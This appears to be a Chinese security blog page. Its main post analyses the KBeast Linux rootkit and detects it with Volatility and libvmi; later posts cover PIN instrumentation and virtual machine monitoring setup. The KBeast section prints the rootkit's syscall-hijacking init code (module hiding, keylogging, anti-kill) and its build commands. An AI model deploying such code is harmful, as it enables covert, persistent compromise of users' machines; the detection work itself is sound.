转载本文请务必注明,文章出处:《内核层恶意代码KBeast分析与检测》与作者信息:Diting0x


  • 0x01 全文环境
  • 0X02 Kbeast 特性
  • 0X03 系统调用劫持基础
  • 0X04 Kbeast 使用
  • 0X05 Kbeast 核心
  • 0X06 Libvmi and Volatility检测KBeast

0x01 全文环境

Host Ubuntu 12.04 + Guest Ubuntu 10.04/11.04 + Libvmi + Volatility

其中Kbeast运行在Guest Ubuntu 10.04/11.04中,libvmi与volatility运行在Host Ubuntu12.04中。

0X02 Kbeast 特性

以下是Kbeast实现的功能:

  • 隐藏可加载模块(LKM)
  • 隐藏文件/目录
  • 隐藏进程(ps,pstree,top,lsof)
  • 隐藏套接字和网络连接(netstat,lsof)
  • 记录键盘操作捕获用户行为
  • 反杀死进程
  • 反移除文件
  • 反删除可加载模块
  • root提权后门
  • 远程绑定后门

0X03 系统调用劫持基础

上述的Kbeast特性都是通过系统调用劫持实现的。在kernel 2.6.*之前,系统调用表”sys_call_table”是可以直接导出引用的,如:

extern void *sys_call_table[];
sys_call_table[__NR_syscall] = pointer

而在kernel 2.6.* 之后禁用了这种特性,并且其所在页是写保护的。然而,系统调用表依然在内存中,如果知道其所在内存地址,依然可以通过指针访问。内核中的符号表System.map (一般在/boot/目录下)记录了所有的符号及其地址,当然也包括系统调用表”sys_call_table”. 以Ubuntu 10.04为例,执行:

grep sys_call_table /boot/System.map-2.6.32-21-generic

显示的结果为

c0592150 R sys_call_table

c0592150指的是线性地址,R说明此地址所在的页面Read-only。目前的CPU都会将CR0控制寄存器的第16位(wp-bit)置1,将页面开启保护模式,这时CPU处于”write-proteed”模式,否则处于”read/write”模式。CR0寄存器的位描述可参考CR0.

如果能将WP位置0,就可以访问内存页面,读写系统调用表了。 下面这行代码便可实现此功能:

write_cr0 (read_cr0 () & (~ 0x10000));

0X04 Kbeast 使用

下载Kbeast.

tar xzf ipsecs-kbeast-v1.tar.gz
cd kbeast-v1
./setup build 1  

具体可参考/kbeast-v1/setup 文件,参数1表示默认为kernel 2.6.32。测试过ubuntu11.04 内核为2.6.38,setup出错,作者声称:
Be kind to note that the beast has been tested in, but not limited to, kernel 2.6.9,
2.6.16, 2.6.18, 2.6.32, 2.6.35 (i386 or x86_64),理论上只要修改setup相关参数以及ipsecs-kbeast-vl.c文件中的系统调用表的地址即可适应其它版本内核,未测试。

成功编译后,kbeast就会加载到内核空间,rootkit安装在/usr/h4x路径下,生成/usr/h4x/_h4x_bd进程,以及acctlog 记录文件, 路径以及文件名等参数可以在config.h文件中配置。当然在目标机器guest中无法找到相关文件,因为已经被隐藏了。下文会利用volatility检测到相关进程的路径。

0X05 Kbeast 核心

Kbeast以LKM的方式存在,以下是其核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/*init module insmod*/
static int init(void)
{
//Uncomment to hide this module
list_del_init(&__this_module.list);
struct tcp_seq_afinfo *my_afinfo = NULL;
//proc_net is disappeared in 2.6.32, use init_net.proc_net
struct proc_dir_entry *my_dir_entry = init_net.proc_net->subdir;
write_cr0 (read_cr0 () & (~ 0x10000));
if(_KEYLOG_){
o_read=(void *)sys_call_table[__NR_read];
sys_call_table[__NR_read]=h4x_read;
}
o_write=(void *)sys_call_table[__NR_write];
sys_call_table[__NR_write]=h4x_write;
#if defined(__x86_64__)
o_getdents=sys_call_table [__NR_getdents];
sys_call_table [__NR_getdents]=h4x_getdents;
#elif defined(__i386__)
o_getdents64=sys_call_table [__NR_getdents64];
sys_call_table [__NR_getdents64]=h4x_getdents64;
#else
#error Unsupported architecture
#endif
o_unlink = sys_call_table [__NR_unlink];
sys_call_table [__NR_unlink] = h4x_unlink;
o_rmdir = sys_call_table [__NR_rmdir];
sys_call_table [__NR_rmdir] = h4x_rmdir;
o_unlinkat = sys_call_table [__NR_unlinkat];
sys_call_table [__NR_unlinkat] = h4x_unlinkat;
o_rename = sys_call_table [__NR_rename];
sys_call_table [__NR_rename] = h4x_rename;
o_open = sys_call_table [__NR_open];
sys_call_table [__NR_open] = h4x_open;
o_kill = sys_call_table [__NR_kill];
sys_call_table [__NR_kill] = h4x_kill;
o_delete_module = sys_call_table [__NR_delete_module];
sys_call_table [__NR_delete_module] = h4x_delete_module;
write_cr0 (read_cr0 () | 0x10000);
while(strcmp(my_dir_entry->name, "tcp"))
my_dir_entry = my_dir_entry->next;
if((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
{
//seq_show is disappeared in 2.6.32, use seq_ops.show
old_tcp4_seq_show = my_afinfo->seq_ops.show;
my_afinfo->seq_ops.show = h4x_tcp4_seq_show;
}
return 0;
}

首先将模块隐藏,取消CR0写保护,找到系统调用表地址,将其处理函数换成自己的函数,分别对应其中的特性。 如:

1
2
3
4
5
6
7
8
9
10
sys_call_table[__NR_read]=h4x_read; // log key
sys_call_table[__NR_write]=h4x_write; // fake output ps,pstree,top,lsof
sys_call_table [__NR_getdents]=h4x_getdents; //hide file and directory
sys_call_table [__NR_unlink] = h4x_unlink; //Don't allow your file to be removed
sys_call_table [__NR_rmdir] = h4x_rmdir; //Don't allow your directory to be removed
sys_call_table [__NR_unlinkat] = h4x_unlinkat; //Don't allow your file and directory to be removed
sys_call_table [__NR_rename] = h4x_rename; //Don't allow your file to be renamed/moved
sys_call_table [__NR_open] = h4x_open; //Don't allow your file to be overwrited
sys_call_table [__NR_kill] = h4x_kill; //Don't allow your process to be killed
sys_call_table [__NR_delete_module] = h4x_delete_module;

0X06 Libvmi and Volatility检测KBeast

检测之前,先按照 这篇 文章搭好环境。

以下是分别利用volatility的linux_psaux、linux_pslist、linux_pstree、linux_lsof、linux_proc_maps、linux_check_modules插件检测出来的结果,能检测出其隐藏的进程、模块、进程间的关系以及所在路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_psaux | grep _h4x_bd
Pid Uid Gid Arguments
2316 2 2 ./_h4x_bd
python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_pslist | grep _h4x_bd
Offset Name Pid Uid Gid DTB Start Time
0xf579e680 _h4x_bd 2316 2 2 0x357c5000 2016-04-01 21:41:29 UTC+0000
python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_pstree | grep _h4x_bd
Name Pid Uid
._h4x_bd 2316 2
python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_pslsof | grep _h4x_bd
Offset Name Pid FD Path
0x00000000f579e680 _h4x_bd 2316 1 /dev/pts/0
0x00000000f579e680 _h4x_bd 2316 2 /dev/pts/0
0x00000000f579e680 _h4x_bd 2316 3 socket:[11708]
python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_proc_maps | grep _h4x_bd
linux_proc_maps
Offset Pid Name Start End
Flags Pgoff Major Minor Inode File Path
0x00000000f579e680 2316 _h4x_bd 0x0000000000adb000 0x0000000000adc000 --- 0x153000 251 1 134375 /lib/tls/i686/cmov/libc-2.11.1.so
0x00000000f579e680 2316 _h4x_bd 0x0000000000adc000 0x0000000000ade000 r-- 0x153000 251 1 134375 /lib/tls/i686/cmov/libc-2.11.1.so
0x00000000f579e680 2316 _h4x_bd 0x0000000000ade000 0x0000000000adf000 rw- 0x155000 251 1 134375 /lib/tls/i686/cmov/libc-2.11.1.so
0x00000000f579e680 2316 _h4x_bd 0x0000000000adf000 0x0000000000ae2000 rw- 0x0 0 0 0
0x00000000f579e680 2316 _h4x_bd 0x0000000008048000 0x0000000008049000 r-x 0x0 251 1 136169 /usr/_h4x_/_h4x_bd
0x00000000f579e680 2316 _h4x_bd 0x0000000008049000 0x000000000804a000 r-- 0x1000 251 1 136169 /usr/_h4x_/_h4x_bd
0x00000000f579e680 2316 _h4x_bd 0x000000000804a000 0x000000000804b000 rw- 0x2000 251 1 136169 /usr/_h4x_/_h4x_bd
0x00000000f579e680 2316 _h4x_bd 0x00000000b7875000 0x00000000b7876000 rw- 0x0 0 0 0
0x00000000f579e680 2316 _h4x_bd 0x00000000b7884000 0x00000000b7886000 rw- 0x0 0 0 0
0x00000000f579e680 2316 _h4x_bd 0x00000000bfd84000 0x00000000bfd99000 rw- 0x0 0 0 0 [stack]
python vol.py -l vmi://1004desktop32 --profile=Linuxubuntu1004desktopx86 linux_check_moudles | grep _h4x_bd
Module Address Module Name
0xf805dae0 ipsecs_kbeast_v1

当要清除module时,执行./setup clean. 但仍然会残留一些文件,无法删除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Checking for make : /usr/bin/make
Removing Kernel Module
Removing Compiled Kernel Module
Stoping Network Daemon
Removing Backdoor File
rm: cannot remove `./_h4x_bd': Permission denied
Removing Installation Directory
rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.o.cmd': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.o': Permission denied
rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.ko.cmd': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.ko': Permission denied
rm: cannot remove `/usr/_h4x_/.tmp_versions/ipsecs-kbeast-v1.mod': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.mod.c': Permission denied
rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.mod.o.cmd': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.c': Permission denied
rm: cannot remove `/usr/_h4x_/bd-ipsecs-kbeast-v1.c': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.mod.o': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.cc1': Permission denied

Reference

http://volatility-labs.blogspot.com/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html

http://cradpdf.drdc-rddc.gc.ca/PDFS/unc199/p801869_A1b.pdf

https://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/

http://dddotcom.github.io/2015/01/10/Kbeast-Source-Code-Analysis/

http://beneathclevel.blogspot.com/2013/06/a-linux-rootkit-tutorial-introduction.html


转载本文请务必注明,文章出处:《内核层恶意代码KBeast分析与检测》与作者信息:Diting0x

二进制代码注入PIN

作者:Diting0x


CSysSec注: 本文来自Diting0x个人博客,讲述如何利用PIN进行二进制代码注入,值得推荐。
转载本文请务必注明,文章出处:《二进制代码注入PIN》与作者信息:Diting0x



  • 什么是注入(Instrumentation)
  • PIN初探
  • PIN框架
  • Pintools Example

什么是注入(Instrumentation)

每一个写过代码的人都调试过程序,最简单的无非就是手动在源代码中插入printf语句,当然大部分还是会选择一些调试工具如GDB。注入技术也类似,不过注入的对象是可执行二进制文件。简单来说,在你的程序中插入额外的代码来分析程序的运行时信息就称为注入技术。但就广义来说,在源代码中注入代码也可称之为注入,只是为了区分,注入技术一般特指对象为可执行二进制文件。

进一步说明,注入一般又分为静态二进制注入(Static Binary Instrumentation) 与动态二进制注入 (Dynamic Binary Instrumentation). 看定义可知,SBI技术工作在程序运行前,DBI则工作在运行过程中。相比SBI,DBI技术有以下优势:

  • 不需要重新编译、重新链接
  • 在运行时发现代码
  • 能处理动态产生的代码
  • 能附加到正在运行时的进程中

目前,研究较多的都属DBI技术,前文提到,DBI的工作方式有点类似编译器,只不过分析例程(analysis routine)是可编程化的。DBI技术广泛应用在程序分析中,如逆向工程(reverse engineering), 程序调试(program debug), 恶意代码分析(malware analysis)等。

Pin初探

对DBI技术有个大致了解之后,进入本文主题, Pin是Intel 与University of Colorado合作研究出的一款用来动态分析二进制程序的注入工具,发表在系统顶会PLDI’2005,有兴趣的可以读读这篇文章,其它DBI技术还有Valgrind, DYNAMORIO, QEMU.

开门见山,首先来看一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
counter++;
sub $0xff, %edx
counter++;
cmp %esi, %edx
counter++;
jle <L1>
counter++;
mov $0x1, %edi
counter++;
add $0x10, %eax
```
这段代码很简单,只是在每条指令前加了一个计数器
那么如果使用PIN, 该如何实现? 看下面代码:
``` C
#include <iostream>
#include "pin.h"
UINT64 icount = 0;
void docount() { icount++; }
void Instruction(INS ins, void *v)
{
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END);
}
void Fini(INT32 code, void *v)
{ std::cerr << "Count " << icount << endl; }
int main(int argc, char * argv[])
{
PIN_Init(argc, argv);
INS_AddInstrumentFunction(Instruction, 0);
PIN_AddFiniFunction(Fini, 0);
PIN_StartProgram();
return 0;
}

现在对这段实现代码一一解释:
void docount() {icount+;} 用户可自定义docount() 函数,PIN称之为分析例程 (Analysis routine),先对这个概念保持一点印象。再看void Instruction()函数,PIN 称之为注入例程(Instrumentation routine), 关注其中两个参数,IPOINT_BEFORE 表示在每条指令之前执行,(AFUNPTR)docount便是要注入的分析例程。main() 函数调用INS_AddInstrumentFunction(Instruction,0),便会触发注入例程以及分析例程,这些参数都可以根据自己需求修改。
只需这么几行简单的代码,PIN便能帮你分析正在运行的二进制文件执行过的指令条数了。这么简单? PIN只能做这些吗? 当然不是! 下文再介绍一些PIN的框架以及使用过程。

##PIN框架
可以把PIN理解为实时编译器(just in time complier).只不过输入进PIN的不是二进制代码,而是可执行的二进制文件,PIN能拦截可执行文件的第一条指令,然后从这条指令开始产生新的代码序列,之后将控制权交给产生的代码序列,此刻用户就有机会注入自己的代码,这个过程就是Instrumentation.
如果你只想使用PIN来分析自己的二进制代码,内部实现原理 (可阅读PLDI’2005)大可不必关心,关注的应该是PIN为用户提供的上层接口,使用这个接口来编写自己的Pintools. 版权原因,本文也不会深入去介绍PIN是如何实现的。

下面就来聊聊这个Pintools. Pintools实际上就是用户要实现的Instrumentation过程,可以把Pintools想象成能修改内部PIN的代码产生过程的插件(Plugins),PIN官网会提供一些sample教你怎么写Pintools,大部分还得靠用户自己去写。
总的来说,instrumentation包括两个部分:

  • 第一,决定在哪注入代码,注入什么代码的一种机制
  • 第二,在注入点要执行的代码

第一个部分被称之为 instrumentation routine,第二个部分被称之为 analysis routine. Pintools会向PIN注册一个注入回调函数,如上文提到的INS_AddInstrumentFunction(),该函数会代表instrumentation routine观察要产生的代码,分析代码的静态属性,来决定是否以及在哪里调用analysis routine. Analysis routine再收集被分析程序的数据。

注意,前文中的例子对每条指令分析,带来的开销太大,因此,PIN提供不同的粒度对程序进行分析,供用户根据不同需求选择:

  • Instruction
  • Basic block: 包含一些指令序列,终止于控制流改变指令;单入口单出口。
  • Trace:包含一些Basic block序列,终止于无条件控制流改变指令;单入口多出口。

##Pintools example
最后,以一个Pintools 的完整例子结束本文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <iostream>
#include <fstream>
#include "pin.H"
ofstream OutFile;
// The running count of instructions is kept here
// make it static to help the compiler optimize docount
static UINT64 icount = 0;
// This function is called before every instruction is executed
VOID docount() { icount++; }
// Pin calls this function every time a new instruction is encountered
VOID Instruction(INS ins, VOID *v)
{
// Insert a call to docount before every instruction, no arguments are passed
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END);
}
KNOB<string> KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool",
"o", "inscount.out", "specify output file name");
// This function is called when the application exits
VOID Fini(INT32 code, VOID *v)
{
// Write to a file since cout and cerr maybe closed by the application
OutFile.setf(ios::showbase);
OutFile << "Count " << icount << endl;
OutFile.close();
}
/* ===================================================== ================ */
/* Print Help Message */
/* ===================================================== ================ */
INT32 Usage()
{
cerr << "This tool counts the number of dynamic instructions executed" << endl;
cerr << endl << KNOB_BASE::StringKnobSummary() << endl;
return -1;
}
/* ===================================================== ================ */
/* Main */
/* ===================================================== ================ */
/* argc, argv are the entire command line: pin -t <toolname> -- ... */
/* ===================================================== ================ */
int main(int argc, char * argv[])
{
// Initialize pin
if (PIN_Init(argc, argv)) return Usage();
OutFile.open(KnobOutputFile.Value().c_str());
// Register Instruction to be called to instrument instructions
INS_AddInstrumentFunction(Instruction, 0);
// Register Fini to be called when the application exits
PIN_AddFiniFunction(Fini, 0);
// Start the program, never returns
PIN_StartProgram();
return 0;
}

参考

PLDI’2005

PIN User Manual

PIN Intel Tutorials


转载本文请务必注明,文章出处:《二进制代码注入PIN》与作者信息:Diting0x

美帝万里路

写在最前

请在wifi下阅读,用尽流量概不赔偿。看图说话,可以忽略文字。
写这篇游记,在于这次经历非常珍贵。本着分享的初衷,对原图、相关视频或相关细节感兴趣的也可与我联系。

本文只想告诉真诚的读者,告诉自己:世界那么大,一定要看看。

Read More

虚拟机环境搭建、管理、监控与分析

作者:Diting0x


  • 0x01 全文环境
  • 0x02 虚拟机创建KVM/QEMU
  • 0x03 虚拟机管理Libvirt
  • 0x04 虚拟机监控Libvmi
  • 0x05 虚拟机监控Volatility

本文介绍了一套完整的虚拟化环境搭建与分析工作,包括虚拟机的创建,虚拟机的管理,以及虚拟机的监控与分析。可根据自身需要阅读相关内容。


0x01 全文环境

Ubuntu12.04 + Kvm-kmod-3.8 + Qemu-kvm-1.1.2+ Libvirt 1.3.2 + Libvmi + Volatility

Ox02 虚拟机创建KVM/QEMU

Kvm需要CPU的支持(Intel VT 或者 AMD SVM),在安装KVM之前,可先检查CPU是否支持硬件虚拟化技术。基于Intel的系统,可运行 ‘grep vmx /proc/cpuinfo’ 查看是否含有vmx的关键字,如果有,则表示支持;基于AMD的系统,可运行 ‘grep svm /proc/cpuinfo’ 查看是否含有svm的关键字。
另外,CPU若支持硬件虚拟化,还得确保BLOS开启了VT选项(有些厂商默认是禁用的,如thinkpad t450). 可以下载 cpu-checker 工具(apt-get install cpu-checker),之后运行kvm-ok, 如果提示 kvm acceleration can not be used,则可能是blos禁用了kvm虚拟化,在blos设置中开启即可。

可执行:

modprobe kvm 
modprobe kvm_intel 

开启内核自带的kvm

关于源码安装kvm-kmod以及qemu-kvm的详细过程可参考 上一篇 文章。kvm-kmod安装成功后,运行lsmod | grep kvm, 会显示两个module:

kvm_intel             137721  3 
kvm                   415549  1 kvm_intel

qemu-kvm安装成功后会在/your-confiure-location/bin/qemu-system-x86_64等可执行文件。

安装完KVM/QEMU后,创建虚拟机的时候,虚拟机的网络方式是比较关心的问题,KVM/QEMU有两种网络配置方式。

其一,用户模式(User Networking): 即NAT方式,也是默认的网络模式。让虚拟机访问主机、互联网或本地网络上的资源的简单方法,但是不能从网络或其他的客户机访问客户机。既然无法访问客户机,那宿主机与客户机该如何传输文件呢?默认的,客户机得到的ip空间为10.0.2.0/24,宿主机提供了ip为10.0.2.2的地址让虚拟机访问。可以ssh到宿主机(10.0.2.2),用scp来拷贝文件。

其二,桥接模式(Bridge Networking): 这种模式允许客户机就像一台独立的主机一样拥有网络。这种方式要比用户网络复杂一些,但是设置好后客户机与互联网,客户机与主机之间的通信都很容易。桥接网络需要网卡支持,一般的有线网卡都支持,绝大部分的无线网卡都不支持。

NAT方式是KVM/QEMU提供的默认方式,要设置桥接模式,首先在宿主机上安装桥接相关的包,

apt-get install bridge-utils. 

修改/etc/network/interfaces

auto lo
iface lo inet loopback
auto eth0
iface eth0 inet manual
auto br0
iface br0 inet dhcp
   bridge_ports eth0
   bridge_stp off
   bridge_fd 9
   bridge_hello 2
   bridge_maxwait 0

执行

/etc/init.d/networking restart

配置好后,可运行brctl-show命令,会显示:

bridge name      bridge id              STP enabled interfaces
br0              8000.68f728eddb0d      no          eth0
                                              vnet0

之后在创建虚拟机的时候可添加-net nic -net tap参数,如

/usr/local/bin/qemu-system-x86_64 -hda imgname.img -vnc :1 -m 1024 -net nic -net tap -monitor stdio    

之后创建的虚拟机便工作在网桥模式中。

0x03 虚拟机管理Libvirt

除了用qemu命令行的方式创建与管理虚拟机,也可将一些命令行参数保存为xml配置文件,用libvirt来管理。libvirt是一套管理虚拟机的工具,包括管理虚拟机的API、一个守护进程(libvirtd)和一个命令行工具(virsh). Libvirt 的主要目标是提供一个单一途径以管理多种不同虚拟化方案已经虚拟化主机,包括KVM/QEMU,Xen,LXC等。安装libvirt后,会产生libvirtd进程以及virsh工具,要利用libvirt做开发,可调用其中的API。libvirt, libvirtd 以及virsh的关系如下图:

libvirt-internal

详细介绍可参考:libvirt internals

安装libvirt:

先安装libvirt所依赖的包

apt-get install libnl-dev libxml2 libxml2-dev  libpciaccess-dev libyajl-dev libdevmapper-dev libgnutls-dev

如出现以下错误,都可以检查上述这些包是否安装好

error: Could not find libxml2 anywhere

error: You must install the GnuTLS library in order to compile and run libvirt

error: You must install device-mapper-devel/libdevmapper >= 1.0.0 to compile libvirt

error: libnl-devel >= 1.1 is required for macvtap support

下载libvirt1.3.2.tar.gz

tar xvf libvirt1.3.2.tar.gz
./configure
make && make install

安装完成后,执行ldconfig同步链接库,否则会出现以下错误:

virsh: error while loading shared libraries: libvirt.so.0: cannot open shared object file: No such file or directory

执行检查libvirt安装成功

which libvirtd
libvirtd –version
which virsh
virsh –version

若出现此类错误:

error: Failed to reconnect to the hypervisor
error: no valid connection
error: Failed to connect socket to '/usr/local/var/run/libvirt/libvirt-sock': No such file or directory

则很有可能是libvirtd进程没有开启,这时需要手动开启libvirtd,执行libvirtd -d 即可。(libvirtd具体参数可参考:libvirtd manual

另外注意,libvirt从1.3版本后增加了virtlogd特性,需要执行virtlogd -d手动开启virtlogd进程(virtlogd具体参数可参看:virtlogd manual ). 否则会出现以下错误:

error: Failed to connect socket to '/usr/local/var/run/libvirt/virtlogd-sock': No such file or directory

安装好libvirt后,便可配置好xml文件,用virsh来管理。具体virsh命令这里不做介绍,可参考其中一个配置文件:

<domain type='kvm'>
<name>ubuntudemo</name><!--虚拟机名称-->
<memory>1048576</memory><!--最大内存,单位KB-->
<currentMemory>1048576</currentMemory><!--可用内存,单位k-->
<uuid>87d5b3d2-3618-4a59-9efb-aa869ff34999</uuid>

<vcpu>1</vcpu><!--虚拟cpu个数-->
<os>
    <type arch='x86_64',machine='pc'>hvm</type>
    <boot dev='hd'/><!--光盘启动-->
</os>
<features>
    <acpi/>
    <apic/>
    <pae/>
</features>
<clock offset='localtime'/>
<on_poweroff>destroy</on_poweroff>
<on_reboot>restart</on_reboot>
<on_crash>destroy</on_crash>
<devices>
    <emulator>/usr/bin/qemu</emulator> <!--先创建好软链接   ln -s /use/local/qemukvm1.1.2/bin/qemu-system-x86_64 /usr/bin/qemu-->
    <disk type='file' device='disk'>
        <driver name='qemu' type='qcow2'/>
        <source file='/home/os.img/server12041.img'/><!--目的镜像路径-->
        <target dev='vda' bus='virtio'/>
    </disk>

    <interface type='bridge'><!--虚拟机网络连接方式-->
        <source bridge='br0'/><!--当前主机网桥的名称-->
        <mac address="00:16:3e:5d:aa:a8"/><!--为虚拟机分配mac地址,务必唯一,否则dhcp获得同样ip,引起冲突-->
    </interface>
    <input type='mouse' bus='ps2'/>
    <!--vnc方式登录,端口号自动分配,自动加1,可以通过virsh vncdisplay ubuntudemo来查询(实际端口为显示结果+5900)--> 
    <graphics type='vnc' port='-1' autoport='yes' listen='0.0.0.0' keymap='en-us'/>
</devices>

0x04 虚拟机监控Libvmi

Libvmi是一套能从底层二进制信息重构虚拟机上层语义的C语言API。由于hypervisor(VMM)获取的全是客户机的二进制比特,用户为了从外部(比如宿主机)监控客户机的行为需要理解客户机上层的语义,比如客户机正在运行的进程列表、模块列表等信息,这种二进制到上层语义之间的gap称之为语义鸿沟(semantic gap),从外部监控客户机的行为称之为虚拟机自省(VM Introspection)。 Libvmi提供的API,能够读取物理内存、虚拟内存、符号表(System.map)、暂停/打开虚拟机、接收内存与寄存器事件的通知等,让用户能很方便的构建插件,来读取进程列表、模块列表等信息(大部分linux原生监控工具都可以通过libvmi来构建).

Libvmi目前支持Intel,AMD64以及ARM系统结构,支持的虚拟机平台包括XEN与KVM/QEMU,支持的被监控系统类型包括windows和linux. Libvmi从Xenaccess发展而来,要了解其详细原理,可参考论文Secure and Flexible Monitoring of Virtual Machines以及官方主页libvmi.

安装libvmi:

先安装其依赖的包,注,这里针对KVM/QEMU,关于XEN依赖的包,会有所不同,可参考libvmi-installation

apt-get install automake autoconf
apt-get install libtool
apt-get install flex bison
apt-get install check

下载libvmi-0.10.1.tar.gz

tar xvf libvmi-0.10.1.tar.gz

安装

cd libvmi-0.10.1
./autogen.sh
./congfigure
make 
make install
ldconfig

libvmi提供了很多plugin examples在/libvmi/examples文件夹中,
要运行其中的plugin(比如process-list,列举客户机中进程信息,类似linux的原生ls命令), 首先要找出客户机符号表中的一些偏移信息. libvmi提供了获取偏移信息的工具在/libvmi/tools/linux-offset-finder/ 文件夹中,将其拷贝到虚拟机中,make编译,生成了一个内核模块findoffset.ko,执行insmod findoffset.ko将其插入内核中,
再执行dmesg 将得到的偏移信息,如:

ostype = "Linux";
//sysmap = "/boot/System.map-3.2.0-29-generic";
linux_name = 0x470;
linux_tasks = 0x248;
linux_mm=0x280;
linux_pid=0x2bc;
linux_pgd=0x58;

写进宿主机的/libvmi/etc/libvmi-example.conf中,将libvmi-example.conf拷贝到/etc/libvmi.conf或者\$HOME/etc/libvmi.conf中,注,这里libvmi会在/etc/libvmi.conf或者\$HOME/etc/libvmi.conf中读取偏移信息。另外,这里的sysmap路径是host主机的路径,需要把guest中的System.map文件拷贝到host主机上。(还发现一个问题,虚拟机的名字不能全以数字命名,比如120432,不然在读取libvmi.conf配置文件时会出错).

之后运行

/libvmi/examples/process-list ubuntudemo 

这里ubuntudemo是创建的虚拟机名字。以下是列出的部分信息:

Process listing for VM ubuntudemo (id=3)
Next list entry is at: ffff88003d638248
[    0] swapper/0 (struct addr:ffffffff81c0d020)
[    1] init (struct addr:ffff88003d638000)
[    2] kthreadd (struct addr:ffff88003d639700)
[    3] ksoftirqd/0 (struct addr:ffff88003d63ae00)
[    6] migration/0 (struct addr:ffff88003d658000)
[    7] watchdog/0 (struct addr:ffff88003d659700)
[    8] cpuset (struct addr:ffff88003d65ae00)
[    9] khelper (struct addr:ffff88003d65c500)
[   10] kdevtmpfs (struct addr:ffff88003d65dc00)
[   11] netns (struct addr:ffff88003d698000)
[   12] sync_supers (struct addr:ffff88003d699700)

Libvmi提供的plugins有限,用户可根据需要编写,也可利用取证工具volatlity做更高层次语义的分析。Libvmi支持python绑定,提供了与volatility绑定的接口,具体可见下文。

###0x05 虚拟机监控Volatility

Volatility是一个用python编写的内存分析工具,与libvmi(利用sysystem.map符号表信息)不同的是,volatility利用可执行文件elf中的调试信息(dwarf格式)以及system.map符号表信息来获取更丰富的变量和函数语义。其支持windows, linux以及mac。 文中以Linux为例。

Get Started:

下载volatility包

git clone https://github.com/volatilityfoundation/volatility.git

创建Linux profile

profile是个zip文件,包含内核数据结构以及调试信息,也就是dwarf文件(volatility称之为vtypes)与system.map的压缩包。

volatility提供了一个内核模块在/volatility/tools/linux文件夹下来获取vtypes信息,将文件夹内容拷贝到要分析的客户机中,编译make,生成module.dwarf文件。在此之前请确保客户机中以及安装dwarfdump (apt-get install dwarfdump)。之后执行 head module.dwarf,会显示以下内容:

.debug_info

<0><0+11><DW_TAG_compile_unit> DW_AT_producer<GNU C 4.6.3> DW_AT_language<DW_LANG_C89>.....

<1><45><DW_TAG_typedef> DW_AT_name<__s8> DW_AT_decl_file<1 include/asm-generic/int-ll64.h>.....

生成

接着将module.dwarf文件以及/boot/System.map-3.2.0-99-generic 文件(不同系统文件名不同)压缩成一个zip文件,如Ubuntu1204.zip。执行:

zip volatility/volatility/plugins/overlays/linux/Ubuntu1204.zip volatility/tools/linux/module.dwarf /boot/System.map-3.2.0-99-generic

使用profile

python vol.py --info | grep Linux 

这时会显示之前创建的profile名,Linuxubuntu1204x64.

LinuxUbuntu1204x64    - A Profile for Linux Ubuntu1204 x64 <=== This is the one we just created

绑定libvmi的python接口

在./volatility/plugins/addrspaces 有针对不同内存快照的物理地址空间,如vmware.py,lime.py,crash.py等。libvmi则提供了pyvmi接口,在/libvmi/tools/pyvmi文件夹中有个pyvmiaddressspace.py文件可供volatility使用,(若需要自己编写python程序,则需要build pyvmi,build过程可参见其中的README文件,若出现编译错误,请确保安装 apt-get install build-essentials, apt-get install python2.7-dev).
将pyvmiaddressspace.py文件拷贝至./volatility/plugins/addrespaces文件夹中便可以利用volatility的plugins来分析虚拟机的内存了。以linux_pslist plugin为例,执行:

python vol.py -l vmi://ubuntudemo --profile=Linuxubuntu1204x64 linux_pslist  

若出现distorm3(反编译库)相关错误,请确保已经安装distorm3

apt-get install python-pip
pip install distorm3

绑定pyvmi接口后,volatility所有的plugins都可以用来分析虚拟机内存。


References

Libvmi

Libvirt

Volatility wiki

Secure and Flexible Monitoring of Virtual Machines


转载本文请务必注明,文章出处:《虚拟化环境搭建、管理、监控与分析》与作者信息:Diting0x

KVM/QEMU虚拟化简介

作者:Diting0x


CSysSec注: 本文来自Diting0x个人博客,主要介绍KVM/QEMU虚拟化基础,对认识KVM与QEMU之间的关系有很大帮助。
转载本文请务必注明,文章出处:《KVM/QEMU虚拟化简介》与作者信息:Diting0x


  • 0X01 KVM/Qemu选择与部署
  • 0X02 KVM/Qemu原理概览

0X01 KVM/Qemu选择与部署

